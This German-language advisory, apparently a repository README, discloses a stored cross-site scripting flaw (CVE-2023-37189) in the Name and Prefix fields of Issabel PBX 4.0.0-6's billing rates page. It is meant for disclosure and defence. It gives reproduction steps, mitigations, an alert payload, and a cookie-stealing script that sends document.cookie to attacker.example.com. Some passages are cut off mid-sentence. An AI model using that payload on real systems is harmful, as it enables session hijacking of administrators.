
Eine Schwachstelle in Form von gespeichertem Cross-Site-Scripting (XSS) existiert in Issabel PBX Version 4.0.0-6 auf der Seite zur Verwaltung von Abrechnungstarifen (index.php?menu=billing_rates).
| Feld | Details |
|---|
| CVE-ID | CVE-2023-37189 |
| Verwundbarkeit | Gespeichertes Cross-Site-Scripting (XSS) |
| Betroffenes Produkt | Issabel PBX 4.0.0-6 |
| Betroffene URL | index.php?menu=billing_rates |
| Verwundbare Felder | Name- und Prefix-Felder im Modul Create New Rate |
| Schweregrad | Mittel (CVSS 3.1 Basis-Score: 6.1 — AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) |
| Gemeldet am | 07. Juli 2023 |
| Entdeckt von | Sahil Ojha |
| Getestet auf | Windows |
| Hersteller-Webseite | https://www.issabel.org/ |
| Quellcode | https://github.com/IssabelFoundation/issabelPBX |
Eine gespeicherte Cross-Site-Scripting (XSS)-Schwachstelle existiert in Issabel PBX Version 4.0.0-6 auf der Verwaltungsseite für Abrechnungstarife (index.php?menu=billing_rates).
Issabel PBX ist eine weit verbreitete Open-Source-Plattform für Unified Communications, die auf FreePBX/Asterisk aufbaut. Die Funktion Billing → Rates ermöglicht Administratoren, Anruftarifeinträge mit einem benutzerdefinierten Namen und Präfix zu definieren. Aufgrund unzureichender Eingabebereinigung und Ausgabekodierung kann ein authentifizierter Angreifer beliebiges HTML oder JavaScript in eines der Felder injizieren. Das schädliche Skript wird dann dauerhaft in der Anwendungsdatenbank gespeichert und automatisch ausgeführt im Browser jedes Benutzers, der anschließend die Rates-Seite besucht – einschließlich anderer Administratoren – ohne zusätzliche Interaktion.
Diese Art von Schwachstelle ist in Administrationspanels besonders gefährlich, weil:
Name und Prefix beim Rendern gespeicherter Werte auf der Seite.Die folgenden Payloads, wenn sie in das Feld Name oder Prefix des Formulars Create New Rate eingegeben werden, demonstrieren die Schwachstelle:
Einfacher Alert (Funktionsprüfung):
<script>alert('XSS')</script>
Sitzungs-Cookie-Diebstahl (ersetzen Sie attacker.example.com durch einen Server, den Sie besitzen und den Sie verwenden dürfen – testen Sie niemals echte Benutzer oder Systeme):
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>
Bildbasierter onerror-Payload (WAF-Umgehung):
⚠️ Hinweis: Diese Payloads werden ausschließlich zu Bildungs- und Sicherheitsforschungszwecken bereitgestellt. Holen Sie vor dem Testen auf einem System, das Ihnen nicht gehört, immer eine ordnungsgemäße schriftliche Genehmigung ein.
Melden Sie sich mit einem Administratorkonto an der Issabel-PBX-Weboberfläche an.
Navigieren Sie zu Reports → Billing → Rates (URL: index.php?menu=billing_rates).
Klicken Sie auf "Create New Rate" und geben Sie einen manipulierten XSS-Payload entweder in das Prefix- oder Name-Feld ein.

Klicken Sie auf Save. Der Payload ist nun in der Datenbank gespeichert.
Jeder Benutzer (einschließlich anderer Administratoren), der die Billing-Rates-Seite besucht, wird das Skript automatisch ausgeführt haben in seinem Browser.


Dem Hersteller und den Systemadministratoren wird empfohlen, die folgenden Gegenmaßnahmen anzuwenden:
htmlspecialchars() in PHP mit ENT_QUOTES). Dies ist die primäre und zuverlässigste Verteidigung gegen XSS.<, >, ", ', &) vor dem Speichern von Daten. Beachten Sie, dass die Eingabevalidierung allein umgangen werden kann und nicht als alleinige Kontrolle verwendet werden sollte.Content-Security-Policy-HTTP-Header ein, um die Ausführung von Inline-Skripten einzuschränken.Dieses Repository und die darin enthaltenen Informationen werden ausschließlich zu Bildungs- und Sicherheitsforschungszwecken bereitgestellt. Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch die bereitgestellten Informationen verursacht werden. Holen Sie vor der Durchführung von Sicherheitstests immer die ausdrückliche schriftliche Genehmigung des Systembesitzers ein.
Entdeckt und gemeldet von Sahil Ojha